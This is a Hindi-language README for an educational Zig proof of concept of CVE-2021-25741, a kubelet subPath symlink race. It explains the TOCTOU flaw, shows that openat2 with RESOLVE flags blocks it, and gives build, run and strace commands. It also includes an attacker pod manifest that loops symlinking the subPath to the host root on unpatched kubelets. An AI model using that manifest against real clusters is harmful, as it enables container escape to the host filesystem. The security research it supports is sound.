
CVE-2021-25741 POC in Zig
CVE-2021-25741 का शैक्षिक एक्सप्लॉइट, जो कि Kubernetes kubelet में एक भेद्यता है। यह एक रेस कंडीशन TOCTOU (Time Of Check, Time Of Use) पर आधारित है।
यह प्रोजेक्ट स्थानीय स्तर पर (K8s क्लस्टर के बिना) दर्शाता है कि कैसे symlink का समवर्ती स्वैप lstat() और open() के बीच पथ सत्यापन को बायपास कर सकता है, और सिद्ध करता है कि RESOLVE_* फ़्लैग के साथ openat2() समाधान है।
जब kernel /a/b/c/file जैसे पथ को हल करता है, तो वह इसे घटक दर घटक करता है। प्रत्येक चरण पर, यदि घटक एक symlink है, तो kernel स्वचालित रूप से उसका अनुसरण करता है। यह समाधान एटॉमिक नहीं है — दो चरणों के बीच फ़ाइल सिस्टम बदल सकता है।
Kubernetes kubelet ने ठीक यही भेद्य पैटर्न अपनाया था:
1. CHECK (जाँच) : lstat(subPath) → "यह एक निर्देशिका है, सुरक्षित है"
↕ रेस विंडो — कंटेनर में एक प्रक्रिया निर्देशिका को symlink से बदल देती है
2. USE (उपयोग) : mount(subPath) → symlink का अनुसरण करता है, होस्ट फ़ाइल सिस्टम को माउंट करता है
जाँच और माउंट के बीच, कंटेनर में एक दुर्भावनापूर्ण प्रक्रिया subPath को होस्ट के / की ओर इशारा करने वाले symlink से बदल सकती थी, जिससे होस्ट फ़ाइल सिस्टम तक पूर्ण पहुँच प्राप्त हो जाती थी।
openat2 syscall (kernel 5.6+) पथ को हल करता है और फ़ाइल को एटॉमिक रूप से खोलता है, सीमाओं के साथ:
openat2 के साथ, कोई TOCTOU विंडो नहीं है: यदि समाधान के दौरान कोई symlink दिखाई देता है, तो syscall तुरंत विफल हो जाता है।
दो थ्रेड TOCTOU विंडो का शोषण करने के लिए सहयोग करते हैं:
workdir/
├── legit_dir/
│ └── secret.txt → सामग्री "LEGIT"
├── symlink_target/
│ └── secret.txt → सामग्री "PWNED"
└── target/ → वास्तविक निर्देशिका और symlink के बीच स्वैप होता है
अत्यंत तेज़ लूप में घूमता है और renameat2(RENAME_EXCHANGE) के माध्यम से target/ को दो अवस्थाओं के बीच एटॉमिक रूप से स्वैप करता है:
target/ एक वास्तविक निर्देशिका है (इसमें secret.txt = "LEGIT" है)target/ एक symlink है जो symlink_target/ की ओर इशारा करता है (इसमें secret.txt = "PWNED" है)प्रति स्वैप केवल एक syscall = अधिकतम रेस विंडो।
kubelet के भेद्य पैटर्न को दोहराता है:
fstatat("target", AT_SYMLINK_NOFOLLOW) — सत्यापित करता है कि यह एक निर्देशिका हैopenat(dirfd, "target/secret.txt", O_RDONLY) — फ़ाइल खोलता हैread() — सामग्री पढ़ता है"PWNED" → रेस जीत (symlink का अनुसरण हुआ)"LEGIT" → रेस हार (यह वास्तविक निर्देशिका थी)सुरक्षित मोड (--use-openat2) में, चरण 3 RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH के साथ openat2 का उपयोग करता है। यदि कोई symlink मौजूद है, तो kernel उसका अनुसरण करने के बजाय ELOOP लौटाता है।
src/
├── main.zig # प्रवेश बिंदु: CLI पार्स, साझा स्थिति बनाता है, थ्रेड स्पॉन करता है,
│ # समय मापता है, परिणाम प्रदर्शित करता है
│
├── racer.zig # Racer थ्रेड: प्रारंभिक अवस्था तैयार करता है (target → symlink),
│ # फिर renameat2(RENAME_EXCHANGE) पर लूप करके target/ और legit_dir/ को स्वैप करता है
│
├── victim.zig # पीड़ित थ्रेड: fstatat → delay → openat/openat2 → read → "LEGIT" बनाम "PWNED" तुलना के N पुनरावृत्तियाँ
│
├── setup.zig # परीक्षण संरचना बनाता है: workdir/, legit_dir/,
│ # symlink_target/, target/ सेंटिनल फ़ाइलों के साथ
│
├── syscalls.zig # रॉ syscall के लिए स्थिरांक और रैपर:
│ # - open_how संरचना (kernel UAPI, 3×u64)
│ # - RESOLVE_* फ़्लैग
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() via linux.syscall4(.openat2, ...)
│ # - rename_exchange() via linux.renameat2()
│ # - सहायक: is_err(), to_errno(), to_fd()
│
└── stats.zig # लॉक-फ्री एटॉमिक काउंटर (std.atomic.Value(u64))
# wins, losses, errors, eloop के लिए + स्वरूपित प्रदर्शन
सभी syscalls सीधे std.os.linux.* के माध्यम से कॉल किए जाते हैं (std.fs या std.posix रैपर नहीं)। Zig 0.15 stdlib में बिना रैपर के एकमात्र syscall openat2 है, जिसे हम linux.syscall4(.openat2, ...) के माध्यम से कॉल करते हैं, जिसमें कर्नेल UAPI हेडर से मैन्युअल रूप से परिभाषित open_how संरचना होती है।
| उपकरण | संस्करण | क्यों |
|---|---|---|
| Zig | 0.15.x | कंपाइलर + क्रॉस-कम्पाइलेशन |
बाइनरी स्टैटिक (musl libc) कम्पाइल की जाती है और बिना किसी निर्भरता के किसी भी Linux पर चलती है।
न्यूनतम कर्नेल:
renameat2(RENAME_EXCHANGE) के लिए 3.15+RESOLVE_* के साथ openat2 के लिए 5.6+ (केवल --use-openat2 के लिए आवश्यक)Mac पर Docker Desktop और colima 6.x कर्नेल का उपयोग करते हैं — सब कुछ समर्थित है।
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (x86 नोड्स के लिए)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
बाइनरी zig-out/bin/race-exploit में है।
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Docker रनटाइम शुरू करें (यदि macOS)
colima start
# एक्सप्लॉइट चलाएँ (डिफ़ॉल्ट रूप से भेद्य मोड)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# भेद्य मोड (openat) — रेस काम करती है
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# सुरक्षित मोड (openat2) — रेस अवरुद्ध
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
या स्क्रिप्ट जो दोनों चलाती है:
./scripts/run_in_docker.sh --iterations 10000
पैरामीटर --delay-us lstat (जाँच) और openat (उपयोग) के बीच विलंब जोड़ता है। देरी जितनी लंबी, TOCTOU विंडो उतनी बड़ी, और जीत दर उतनी अधिक:
# बिना देरी — जीत दर ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — जीत दर ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — जीत दर ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — जीत दर ~50% (सीमित, racer बहुत तेज़ स्वैप करता है)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
वास्तविक kubelet में, subPath सत्यापन और bind mount के बीच विलंब कई मिलीसेकंड (API कॉल, mount namespace तैयारी, आदि) का होता है, जो वास्तविक परिस्थितियों में रेस को बहुत विश्वसनीय बनाता है।
race-exploit [options]
--iterations N प्रयासों की संख्या (डिफ़ॉल्ट: 10000)
--delay-us N lstat और open के बीच माइक्रोसेकंड (डिफ़ॉल्ट: 0)
--use-openat2 RESOLVE_* के साथ openat2 का उपयोग करें (सुरक्षित मोड)
--workdir PATH कार्यशील निर्देशिका (डिफ़ॉल्ट: /tmp/race-workdir)
--help सहायता दिखाएँ
एक्सप्लॉइट को Kubernetes की आवश्यकता नहीं है — यह एक मौलिक Linux रेस कंडीशन है। लेकिन आप इसे kubelet के समान शर्तों में परीक्षण करने के लिए वास्तविक नोड पर चला सकते हैं।
# नोड की आर्किटेक्चर के लिए क्रॉस-कम्पाइल करें
# ARM64 (EKS Graviton के साथ, GKE T2A के साथ, आदि)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# या x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# बाइनरी को नोड पर कॉपी करें
scp zig-out/bin/race-exploit user@node:/tmp/
# नोड पर चलाएँ
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# कर्नेल संस्करण जाँचें (openat2 के लिए >= 5.6)
ssh user@node uname -r
एक पॉड बनाएँ जो बाइनरी को एम्बेड करे और उसे चलाए:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # बाइनरी पहले यहाँ कॉपी की जानी चाहिए
restartPolicy: Never
# पहले बाइनरी को नोड पर कॉपी करें
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# पॉड लॉन्च करें
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
CVE-2021-25741 के सटीक परिदृश्य को दोहराने के लिए, रेस का शोषण तब करना होगा जब kubelet subPath के साथ वॉल्यूम का bind mount तैयार कर रहा हो:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# यह स्क्रिप्ट कंटेनर में चलती है और subPath को स्वैप करती है
# जबकि kubelet mount तैयार कर रहा होता है
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← kubelet जाँचता है फिर इस पथ को माउंट करता है
volumes:
- name: shared-vol
emptyDir: {}
महत्वपूर्ण: यह हमला केवल अनपैच्ड kubelets (संस्करण < 1.22.2, < 1.21.5, < 1.20.11) पर काम करता है। हाल के kubelets subPath को हल करने के लिए RESOLVE_NO_SYMLINKS के साथ openat2 का उपयोग करते हैं।
यह जाँचने के लिए कि क्या आपका kubelet भेद्य है:
# kubelet संस्करण
kubectl get nodes -o wide
# जाँचें कि kubelet में openat2 का उपयोग हो रहा है या नहीं (नोड पर)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
मुख्य अवलोकन:
lstat एक symlink देखता है और open का प्रयास नहीं करता)openat मोड में, ~25% प्रयासों में जीत होती है (फ़ाइल "PWNED" पढ़ी जाती है)openat2 मोड में, 0% जीत — racer द्वारा स्वैप किए गए हर प्रयास को kernel द्वारा पहचाना जाता है जो ELOOP लौटाता हैयह फ़ाइल Zig 0.15 stdlib में गायब स्थिरांकों को परिभाषित करती है:
// renameat2(2) : दो फ़ाइल सिस्टम प्रविष्टियों का एटॉमिक स्वैप
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : syscall को पास की जाने वाली संरचना
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY, आदि
mode: u64 = 0, // अनुमतियाँ (यदि O_CREAT)
resolve: u64 = 0, // RESOLVE_* फ़्लैग
};
// open_how.resolve के लिए समाधान फ़्लैग
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // किसी भी symlink को अस्वीकार करें
pub const RESOLVE_BENEATH: u64 = 0x08; // dirfd से ऊपर जाने की अनुमति न दें
openat2 को linux.syscall4(.openat2, ...) के माध्यम से कॉल किया जाता है क्योंकि Zig 0.15 में syscall नंबर है लेकिन कोई रैपर नहीं है।
शुरुआत में, यह target/ को symlink_target/ की ओर इशारा करने वाले symlink में बदल देता है, फिर दो renameat2(RENAME_EXCHANGE) पर लूप करता है जो target और legit_dir को स्वैप करते हैं:
पुनरावृत्ति 1: target=dir, legit_dir=symlink ← पीड़ित को एक dir दिखता है, सामान्य रूप से खोलता है
पुनरावृत्ति 2: target=symlink, legit_dir=dir ← पीड़ित symlink का अनुसरण करता है → PWNED
lstat → delay → openat/openat2 → read → तुलना दोहराता है। परिणाम लॉक-फ्री एटॉमिक काउंटर (fetchAdd ऑर्डरिंग .monotonic के साथ) में गिने जाते हैं।
mkdirat, openat(O_CREAT), और write के साथ पदानुक्रम बनाता है — सभी रॉ syscalls के माध्यम से। दो सेंटिनल फ़ाइलें: वास्तविक निर्देशिका में "LEGIT", symlink के लक्ष्य में "PWNED"।
# दोनों थ्रेड के सभी syscalls ट्रेस करें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# दिलचस्प syscalls फ़िल्टर करें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# openat2 के ELOOP देखें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
नोट: strace Alpine में डिफ़ॉल्ट रूप से स्थापित नहीं है। alpine:edge का उपयोग करें या apk add strace से स्थापित करें:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| फ़्लैग | प्रभाव |
|---|
RESOLVE_NO_SYMLINKS | किसी भी symlink का अनुसरण करने से इंकार → ELOOP लौटाता है |
RESOLVE_BENEATH | आधार निर्देशिका से बाहर जाने से इंकार → EXDEV लौटाता है |
RESOLVE_IN_ROOT | dirfd को फ़ाइल सिस्टम की जड़ मानता है |
RESOLVE_NO_XDEV | माउंट पॉइंट पार करने से इंकार |
| Docker |
| कोई भी |
| Mac पर Linux बाइनरी चलाने के लिए |
| colima | कोई भी | macOS पर Docker रनटाइम (या Docker Desktop) |
| Syscall | एक्सप्लॉइट में भूमिका | Zig रैपर |
|---|
renameat2(RENAME_EXCHANGE) | target ↔ legit_dir का एटॉमिक स्वैप | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat: जाँचता है कि target dir है या symlink | linux.fstatat() |
openat(O_RDONLY) | symlinks का अनुसरण करते हुए फ़ाइल खोलता है (भेद्य) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | symlinks को अस्वीकार करते हुए फ़ाइल खोलता है (समाधान) | linux.syscall4(.openat2, ...) |
symlinkat | प्रारंभिक symlink target → symlink_target बनाता है | linux.symlinkat() |
unlinkat | target को हटाता है, फिर उसे symlink के रूप में पुनः बनाता है | linux.unlinkat() |
mkdirat | परीक्षण निर्देशिकाएँ बनाता है | linux.mkdirat() |
read / write / close | सेंटिनल फ़ाइलों पर IO | linux.read() / linux.write() / linux.close() |